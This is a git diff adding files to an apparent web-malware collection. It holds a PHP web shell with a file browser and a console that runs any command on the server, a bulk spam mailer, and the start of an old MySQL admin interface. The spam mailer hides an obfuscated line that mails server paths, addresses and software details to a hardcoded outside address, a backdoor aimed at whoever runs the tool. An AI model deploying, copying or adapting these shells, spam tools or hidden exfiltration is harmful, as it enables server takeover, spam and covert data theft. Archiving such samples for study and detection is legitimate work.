file:&nbsp;</center></td></tr></table><br>\n"; + + If (empty($newfile) != true) { + + echo "<center>"; + + $return = @rename($oldfile, "$olddir$newfile"); + + if ($return) { + + echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\""; + + } + + else { + + if ( @file_exists("$olddir$newfile") ) { + + echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again..."; + + } + + else { + + echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it."; + + } + + } + + echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ; + + } + + else { + + $dpos = strrpos($oldfile, "/"); + + if (strval($dpos)!="") { + + $olddir = substr($oldfile, 0, $dpos+1); + + } + + else { + + $olddir = "$lastdir/"; + + } + + $fpos = strrpos($oldfile, "/"); + + if (strval($fpos)!="") { + + $inputfile = substr($oldfile, $fpos+1); + + } + + else { + + $inputfile = ""; + + } + + echo "<center><table><tr><td><form action=\"$SFileName?$urlAdd\" method=\"post\">\n"; + + echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n"; + + echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n"; + + echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n"; + + echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n"; + + echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n"; + + echo "Rename \"$oldfile\" to:<br>\n"; + + echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">"; + + echo "</form><form action=\"$SFileName?$urlAdd\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>"; + + echo "</td></tr></table></center>"; + + } + +} + +else if ( $cmd == "con") { + + + +?> + +<center> + +<table> + + <tr><td> + +<h3>PHPKonsole</h3> + + + +<?php + + + +if (ini_get('register_globals') != '1') { + + if (!empty($HTTP_POST_VARS)) + + extract($HTTP_POST_VARS); + + + + if (!empty($HTTP_GET_VARS)) + + extract($HTTP_GET_VARS); + + + + if (!empty($HTTP_SERVER_VARS)) + + extract($HTTP_SERVER_VARS); + + } + + + + if (!empty($work_dir)) { + + if (!empty($command)) { + + if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { + + if ($regs[1][0] == '/') { + + $new_dir = $regs[1]; + + } else { + + $new_dir = $work_dir . '/' . $regs[1]; + + } + + if (file_exists($new_dir) && is_dir($new_dir)) { + + $work_dir = $new_dir; + + } + + unset($command); + + } + + } + + } + + if (file_exists($work_dir) && is_dir($work_dir)) { + + chdir($work_dir); + + } + + $work_dir = exec('pwd'); + +?> + + + + <form name="myform" action="<?php echo "$PHP_SELF?$urlAdd" ?>" method="post"> + + <table border=0 cellspacing=0 cellpadding=0 width="100%"><tr><td>Current working directory: <b> + + <input type="hidden" name="cmd" value="con"> + + <?php + + $work_dir_splitted = explode('/', substr($work_dir, 1)); + + printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=/">Root</a>/', $PHP_SELF, $stderr); + + if (!empty($work_dir_splitted[0])) { + + $path = ''; + + for ($i = 0; $i < count($work_dir_splitted); $i++) { + + $path .= '/' . $work_dir_splitted[$i]; + + printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=%s">%s</a>/', $PHP_SELF, $stderr, urlencode($path), $work_dir_splitted[$i]); + + } + + } + + ?></b></td> + + <td align="right">Choose new working directory: <select class="inputtext" name="work_dir" onChange="this.form.submit()"> + + + + <?php + + $dir_handle = opendir($work_dir); + + while ($dir = readdir($dir_handle)) { + + if (is_dir($dir)) { + + if ($dir == '.') { + + echo "<option value=\"$work_dir\" selected>Current Directory</option>\n"; + + } elseif ($dir == '..') { + + if (strlen($work_dir) == 1) { + + } + + elseif (strrpos($work_dir, '/') == 0) { + + echo "<option value=\"/\">Parent Directory</option>\n"; + + } else { + + echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n"; + + } + + } else { + + if ($work_dir == '/') { + + echo "<option value=\"$work_dir$dir\">$dir</option>\n"; + + } else { + + echo "<option value=\"$work_dir/$dir\">$dir</option>\n"; + + } + + } + + } + + } + + closedir($dir_handle); + + ?> + + </select></td></tr></table> + + <p>Command: <input class="inputtext" type="text" name="command" size="60"> + + <input name="submit_btn" class="inputbutton" type="submit" value="Execute Command"></p> + + <p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"<?php if (($stderr) || (!isset($stderr)) ) echo " CHECKED"; ?>></p> + + <textarea cols="80" rows="19" class="inputtextarea" wrap=off readonly><?php + + if (!empty($command)) { + + echo "phpKonsole> ". htmlspecialchars($command) . "\n\n"; + + if ($stderr) { + + $tmpfile = tempnam('/tmp', 'phpshell'); + + $command .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile"; + + } else if ($command == 'ls') { + + $command .= ' -F'; + + } + + $output = `$command`; + + echo htmlspecialchars($output); + + } + + ?></textarea> + + </form> + + + + <script language="JavaScript" type="text/javascript"> + + document.forms[0].command.focus(); + + </script> + + </td></tr></table> + +<?php + +} + +else { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */ + + $isMainMenu = true; + + ?> + + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + + <tr> + + <td width="100%" class="border"> + + <center>&nbsp;.:: <?php echo $scriptTitle ?> Main Menu ::.&nbsp;</center> + + </td> + + </tr> + + </table> + + <br> + + <center> + + <table border="0" NOWRAP> + + <tr> + + <td valign="top" class="silver border"> + + <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> Haxplorer <==</strong></font>", "cmd=dir&dir=.").sp(2); ?> + + </td> + + <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP> + + Haxplorer is a server side file browser wich (ab)uses the directory object to list + + the files and directories stored on a webserver. This handy tools allows you to manage + + files and directories on a unsecure server with php support.<br><br>This entire script + + is coded for unsecure servers, if your server is secured the script will hide commands + + or will even return errors to your browser...<br><br> + + </td> + + </tr> + + <tr> + + <td valign="top" class="silver border"> + + <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> PHPKonsole <==</strong></font>", "cmd=con").sp(2); ?> + + </td> + + <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP> + + <br>PHPKonsole is just a little telnet like shell wich allows you to run commands on the webserver. + + When you run commands they will run as the webservers UserID. This should work perfectly + + for managing files, like moving, copying etc. If you're using a linux server, system commands + + such as ls, mv and cp will be available for you... <br><br>This function will only work if the + + server supports php and the execute commands...<br><br> + + </td> + + </tr> + + </table> + + </center> + + <br> + + <?php + +} + + + +if ($cmd != "downl") { + + if ( $isMainMenu != true) { + + ?> + + <table width="100%" border="0" cellpadding="0" cellspacing="0"> + + <tr> + + <td width="100%" style="class="silver border"> + + <center><strong> + + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Main Menu&nbsp;] </font>", "cmd=&dir="); ?>&nbsp;&nbsp; + + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;PHPKonsole&nbsp;] </font>", "cmd=con"); ?>&nbsp;&nbsp; + + &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Haxplorer&nbsp;] </font>", "cmd=dir&dir=."); ?> &nbsp;&nbsp; + + </strong></center> + + </td> + + </tr> + + </table> + + <br> + + <?php + +} + + ?> + + <table width=100% border="0" cellpadding="0" cellspacing="0"> + + <tr> + + <td width="100%" class="silver border"> + + <center>&nbsp;<?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?>&nbsp;</center> + + </td> + + </tr> + + </table> + + </td> + + </tr> + + </table> + + + + <?php + + } + + + +?> + + + + + + + diff --git a/web-malware-collection-master/Backdoors/PHP/Moroccan Spamers Ma-EditioN By GhOsT.txt b/web-malware-collection-master/Backdoors/PHP/Moroccan Spamers Ma-EditioN By GhOsT.txt new file mode 100755 index 0000000..2865e14 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Moroccan Spamers Ma-EditioN By GhOsT.txt @@ -0,0 +1,182 @@ +<? +if ($action=="send"){ +$message = urlencode($message); +$message = ereg_replace("%5C%22", "%22", $message); +$message = urldecode($message); +$message = stripslashes($message); +$subject = stripslashes($subject); +} + +?> +<form name="form1" method="post" action="" enctype="multipart/form-data"> +<div align="center"> +<center> +<table border="2" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#006699" width="74%" id="AutoNumber1"> +<tr> +<td width="100%"> +<div align="center"> +<center> +<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2"> +<tr> +<td width="100%"> +<p align="center"><div align="center"> +<center> +<table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#336699" width="70%" cellpadding="0" id="AutoNumber1" height="277"> +<tr> +<td width="100%" height="272"> +<table width="769" border="0" height="303"> +<tr> +<td width="786" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic3.gif" colspan="3" height="28"> +<p align="center"><b><font face="Tahoma" size="2" color="#FF6600"> Moroccan Spamers Ma-EditioN By GhOsT </font></b></td> +</tr> +<tr> +<td width="79" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22" align="right"> +<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your +Email:</font></div> +</td> +<td width="390" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> +<input name="from" value="<? print $from; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your +Name:</font></div> +</td> +<td width="317" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22" valign="middle"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> +<input type="text" name="realname" value="<? print $realname; ?>" size="30"> +</font></td> +</tr> +<tr> +<td width="79" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22" align="right"> +<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div> +</td> +<td width="390" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> +<input name="replyto" value="<? print $replyto; ?>" size="30" style="float: left"></font><div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Attach +File:</font></div> +</td> +<td width="317" bordercolor="#CCCCCC" bgcolor="#F0F0F0" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> +<input type="file" name="file" size="30"> +</font></td> +</tr> +<tr> +<td width="79" background="/simparts/images/cellpic1.gif" height="22" align="right"> +<div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div> +</td> +<td colspan="2" width="715" background="/simparts/images/cellpic1.gif" height="22"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> +<input name="subject" value="<? print $subject; ?>" size="59" style="float: left"> +</font></td> +</tr> +<tr valign="top"> +<td colspan="2" width="477" bgcolor="#CCCCCC" height="189" valign="top"> +<div align="left"> +<table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#111111" width="98%" id="AutoNumber4"> +<tr> +<td width="100%"> +<textarea name="message" cols="56" rows="10"><? print $message; ?></textarea> +<br> +<input type="radio" name="contenttype" value="plain" checked> +<font size="2" face="Tahoma">Plain</font> +<input type="radio" name="contenttype" value="html"> +<font size="2" face="Tahoma">HTML</font> +<input type="hidden" name="action" value="send"> +<input type="submit" value="Send Message"> +</td> +</tr> +</table> +</div> +</td> +<td width="317" bgcolor="#CCCCCC" height="187" valign="top"> +<div align="center"> +<center> +<table border="0" cellpadding="2" style="border-collapse: collapse" bordercolor="#111111" width="93%" id="AutoNumber3"> +<tr> +<td width="100%"> +<p align="center"> <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea> +</font><br> +</td> +</tr> +</table> +</center> +</div> +</td> +</tr> +</table> +</td> +</tr> +</table> +</center> +</div></td> +</tr> +</table> +</center> +</div> +</td> +</tr> +</table> +</center> +</div> +<div align="center"> +<center> +<table border="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="75%" id="AutoNumber5" height="1" cellpadding="0"> +<tr> +<td width="100%" valign="top" height="1"> +<p align="right"><font size="1" face="Tahoma" color="#CCCCCC">Designed by: + v1.5</font></td> +</tr> +</table> +</center> +</div> +</form> + +<? +if ($action=="send"){ + +if (!$from && !$subject && !$message && !$emaillist){ +print "Please complete all fields before sending your message."; +exit; +} + +$allemails = split("\n", $emaillist); +$numemails = count($allemails); + +#Open the file attachment if any, and base64_encode it for email transport +If ($file_name){ +@copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server"); +$content = fread(fopen($file,"r"),filesize($file)); +$content = chunk_split(base64_encode($content)); +$uid = strtoupper(md5(uniqid(time()))); +$name = basename($file); +} + +for($x=0; $x<$numemails; $x++){ +$to = $allemails[$x]; +if ($to){ +$to = ereg_replace(" ", "", $to); +$message = ereg_replace("&email&", $to, $message); +$subject = ereg_replace("&email&", $to, $subject); +print "Sending mail to $to....... "; +flush(); +$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; +$header .= "MIME-Version: 1.0\r\n"; +If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; +If ($file_name) $header .= "--$uid\r\n"; +$header .= "Content-Type: text/$contenttype\r\n"; +$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; +$header .= "$message\r\n"; +If ($file_name) $header .= "--$uid\r\n"; +If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; +If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; +If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +If ($file_name) $header .= "$content\r\n"; +If ($file_name) $header .= "--$uid--"; +mail($to, $subject, "", $header); +print "Spamed'><br>"; +flush(); +} +} + +} +?> + + + + + + + diff --git a/web-malware-collection-master/Backdoors/PHP/MySQL Web Interface Version 0.8.php b/web-malware-collection-master/Backdoors/PHP/MySQL Web Interface Version 0.8.php new file mode 100755 index 0000000..a106ddf --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/MySQL Web Interface Version 0.8.php @@ -0,0 +1,1302 @@ +<? +/* +* MySQL Web Interface Version 0.8 +* ------------------------------- +* Developed By SooMin Kim (smkim@popeye.snu.ac.kr) +* License : GNU Public License (GPL) +* Homepage : http://popeye.snu.ac.kr/~smkim/mysql +*/ + +$HOSTNAME = "localhost"; + +function logon() { + global $PHP_SELF; + + setcookie( "mysql_web_admin_username" ); + setcookie( "mysql_web_admin_password" ); + echo "<html>\n"; + echo "<head>\n"; + echo "<title>MySQL Web Interface</title>\n"; + echo "</head>\n"; + echo "<body>\n"; + echo "<table width=100% height=100%><tr><td><center>\n"; + echo "<table cellpadding=2><tr><td bgcolor=#a4a260><center>\n"; + echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n"; + echo "<h1>MySQL Web Interface</h1>\n"; + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=logon_submit>\n"; + echo "<table cellpadding=5 cellspacing=1>\n"; + echo "<tr><td>Username </td><td> <input type=text +name=username></td></tr>\n"; + echo "<tr><td>Password </td><td> <input type=password +name=password></td></tr>\n"; + echo "</table><p>\n"; + echo "<input type=submit value='Enter'>\n"; + echo "<input type=reset value='Clear'><br>\n"; + echo "</form>\n"; + echo "</center></td></tr></table>\n"; + echo "</center></td></tr></table>\n"; + echo "<p><hr width=300>\n"; + echo "<font size=2>\n"; + echo "Copyleft &copy; since 1999,\n"; + echo "<a href='mailto:smkim76@icqmail.com'>SooMin Kim</a><br>\n"; + echo "<a href='http://popeye.snu.ac.kr/~smkim/mysql'>Hompage<a> is +available<br>"; + echo "</font>\n"; + echo "</center></td></tr></table>\n"; + echo "</body>\n"; + echo "</html>\n"; +} + +function logon_submit() { + global $username, $password, $PHP_SELF; + + setcookie( "mysql_web_admin_username", $username ); + setcookie( "mysql_web_admin_password", $password ); + echo "<html>"; + echo "<head>"; + echo "<META HTTP-EQUIV=Refresh CONTENT='0; +URL=$PHP_SELF?action=listDBs'>"; + echo "</head>"; + echo "</html>"; +} + +function echoQueryResult() { + global $queryStr, $errMsg; + + if( $errMsg == "" ) $errMsg = "Success"; + if( $queryStr != "" ) { + echo "<table cellpadding=5>\n"; + echo "<tr><td>Query</td><td>$queryStr</td></tr>\n"; + echo "<tr><td>Result</td><td>$errMsg</td></tr>\n"; + echo "</table><p>\n"; + } +} + +function listDatabases() { + global $mysqlHandle, $PHP_SELF; + + echo "<h1>Database List</h1>\n"; + + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=createDB>\n"; + echo "<input type=text name=dbname>\n"; + echo "<input type=submit value='Create Database'>\n"; + echo "</form>\n"; + echo "<hr>\n"; + + echo "<table cellspacing=1 cellpadding=5>\n"; + + $pDB = mysql_list_dbs( $mysqlHandle ); + $num = mysql_num_rows( $pDB ); + for( $i = 0; $i < $num; $i++ ) { + $dbname = mysql_dbname( $pDB, $i ); + echo "<tr>\n"; + echo "<td>$dbname</td>\n"; + echo "<td><a +href='$PHP_SELF?action=listTables&dbname=$dbname'>Table</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' +onClick=\"return confirm('Drop Database +\'$dbname\'?')\">Drop</a></td>\n"; + echo "<td><a +href='$PHP_SELF?action=dumpDB&dbname=$dbname'>Dump</a></td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; +} + +function createDatabase() { + global $mysqlHandle, $dbname, $PHP_SELF; + + mysql_create_db( $dbname, $mysqlHandle ); + listDatabases(); +} + +function dropDatabase() { + global $mysqlHandle, $dbname, $PHP_SELF; + + mysql_drop_db( $dbname, $mysqlHandle ); + listDatabases(); +} + +function listTables() { + global $mysqlHandle, $dbname, $PHP_SELF; + + echo "<h1>Table List</h1>\n"; + echo "<p class=location>$dbname</p>\n"; + echoQueryResult(); + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=createTable>\n"; + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=text name=tablename>\n"; + echo "<input type=submit value='Create Table'>\n"; + echo "</form>\n"; + echo "<form action='$PHP_SELF'>\n"; + echo "<input type=hidden name=action value=query>\n"; + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=text size=40 name=queryStr>\n"; + //echo "<textarea cols=30 rows=3 name=queryStr></textarea><br>"; + echo "<input type=submit value='Query'>\n"; + echo "</form>\n"; + echo "<hr>\n"; + + $pTable = mysql_list_tables( $dbname ); + + if( $pTable == 0 ) { + $msg = mysql_error(); + echo "<h3>Error : $msg</h3><p>\n"; + return; + } + $num = mysql_num_rows( $pTable ); + + echo "<table cellspacing=1 cellpadding=5>\n"; + + for( $i = 0; $i < $num; $i++ ) { + $tablename = mysql_tablename( $pTable, $i ); + + echo "<tr>\n"; + echo "<td>\n"; + echo "$tablename\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' +onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a +href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>\n"; + echo "</td>\n"; + echo "</tr>\n"; + } + + echo "</table>"; +} + +function createTable() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, +$errMsg; + + $queryStr = "CREATE TABLE $tablename ( no INT )"; + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + listTables(); +} + +function dropTable() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, +$errMsg; + + $queryStr = "DROP TABLE $tablename"; + mysql_select_db( $dbname, $mysqlHandle ); + mysql_query( $queryStr, $mysqlHandle ); + $errMsg = mysql_error(); + + listTables(); +} + +function viewSchema() { + global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, +$errMsg; + + echo "<h1>Table Schema</h1>\n"; + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + + echoQueryResult(); + + echo "<a +href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add +Field</a> | \n"; + echo "<a +href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View +Data</a>\n"; + echo "<hr>\n"; + + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + + echo "<table cellspacing=1 cellpadding=5>\n"; + echo "<tr>\n"; + echo "<th>Field</th>\n"; + echo "<th>Type</th>\n"; + echo "<th>Null</th>\n"; + echo "<th>Key</th>\n"; + echo "<th>Default</th>\n"; + echo "<th>Extra</th>\n"; + echo "<th colspan=2>Action</th>\n"; + echo "</tr>\n"; + + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + echo "<tr>\n"; + echo "<td>".$field["Field"]."</td>\n"; + echo "<td>".$field["Type"]."</td>\n"; + echo "<td>".$field["Null"]."</td>\n"; + echo "<td>".$field["Key"]."</td>\n"; + echo "<td>".$field["Default"]."</td>\n"; + echo "<td>".$field["Extra"]."</td>\n"; + $fieldname = $field["Field"]; + echo "<td><a +href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n"; + echo "<td><a +href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' +onClick=\"return confirm('Drop Field +\'$fieldname\'?')\">Drop</a></td>\n"; + echo "</tr>\n"; + } + echo "</table>\n"; +} + +function manageField( $cmd ) { + global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF; + + if( $cmd == "add" ) + echo "<h1>Add Field</h1>\n"; + else if( $cmd == "edit" ) { + echo "<h1>Edit Field</h1>\n"; + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + if( $field["Field"] == $fieldname ) { + $fieldtype = $field["Type"]; + $fieldkey = $field["Key"]; + $fieldextra = $field["Extra"]; + $fieldnull = $field["Null"]; + $fielddefault = $field["Default"]; + break; + } + } + $type = strtok( $fieldtype, " (,)\n" ); + if( strpos( $fieldtype, "(" ) ) { + if( $type == "enum" | $type == "set" ) { + $valuelist = strtok( " ()\n" ); + } else { + $M = strtok( " (,)\n" ); + if( strpos( $fieldtype, "," ) ) + $D = strtok( " (,)\n" ); + } + } + } + + echo "<p class=location>$dbname &gt; $tablename</p>\n"; + echo "<form action=$PHP_SELF>\n"; + + if( $cmd == "add" ) + echo "<input type=hidden name=action value=addField_submit>\n"; + else if( $cmd == "edit" ) { + echo "<input type=hidden name=action value=editField_submit>\n"; + echo "<input type=hidden name=old_name value=$fieldname>\n"; + } + echo "<input type=hidden name=dbname value=$dbname>\n"; + echo "<input type=hidden name=tablename value=$tablename>\n"; + + echo "<h3>Name</h3>\n"; + echo "<input type=text name=name value=$fieldname><p>\n"; +?> + +<h3>Type</h3> + +<font size=2> +* `M' indicates the maximum display size.<br> +* `D' applies to floating-point types and indicates the number of +digits +following the decimal point.<br> +</font> + +<table> +<tr> +<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th> +</tr> +<tr> +<td><input type=radio name=type value="TINYINT" <? if( $type == +"tinyint" ) +echo "checked";?>>TINYINT (-128 ~ 127)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="SMALLINT" <? if( $type == +"smallint" +) echo "checked";?>>SMALLINT (-32768 ~ 32767)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMINT" <? if( $type == +"mediumint" ) echo "checked";?>>MEDIUMINT (-8388608 ~ 8388607)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="INT" <? if( $type == "int" ) +echo +"checked";?>>INT (-2147483648 ~ 2147483647)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="BIGINT" <? if( $type == "bigint" +) +echo "checked";?>>BIGINT (-9223372036854775808 ~ +9223372036854775807)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="FLOAT" <? if( $type == "float" ) +echo +"checked";?>>FLOAT</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DOUBLE" <? if( $type == "double" +) +echo "checked";?>>DOUBLE</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DECIMAL" <? if( $type == +"decimal" ) +echo "checked";?>>DECIMAL(NUMERIC)</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DATE" <? if( $type == "date" ) +echo +"checked";?>>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DATETIME" <? if( $type == +"datetime" +) echo "checked";?>>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 +23:59:59, +YYYY-MM-DD HH:MM:SS)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TIMESTAMP" <? if( $type == +"timestamp" ) echo "checked";?>>TIMESTAMP (1970-01-01 00:00:00 ~ +2106..., +YYYYMMDD[HH[MM[SS]]])</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TIME" <? if( $type == "time" ) +echo +"checked";?>>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="YEAR" <? if( $type == "year" ) +echo +"checked";?>>YEAR (1901 ~ 2155, 0000, YYYY)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="CHAR" <? if( $type == "char" ) +echo +"checked";?>>CHAR</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td align=center>O</td> +</tr> +<tr> +<td><input type=radio name=type value="VARCHAR" <? if( $type == +"varchar" ) +echo "checked";?>>VARCHAR</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td align=center>O</td> +</tr> +<tr> +<td><input type=radio name=type value="TINYTEXT" <? if( $type == +"tinytext" +) echo "checked";?>>TINYTEXT (0 ~ 255)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TEXT" <? if( $type == "text" ) +echo +"checked";?>>TEXT (0 ~ 65535)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> 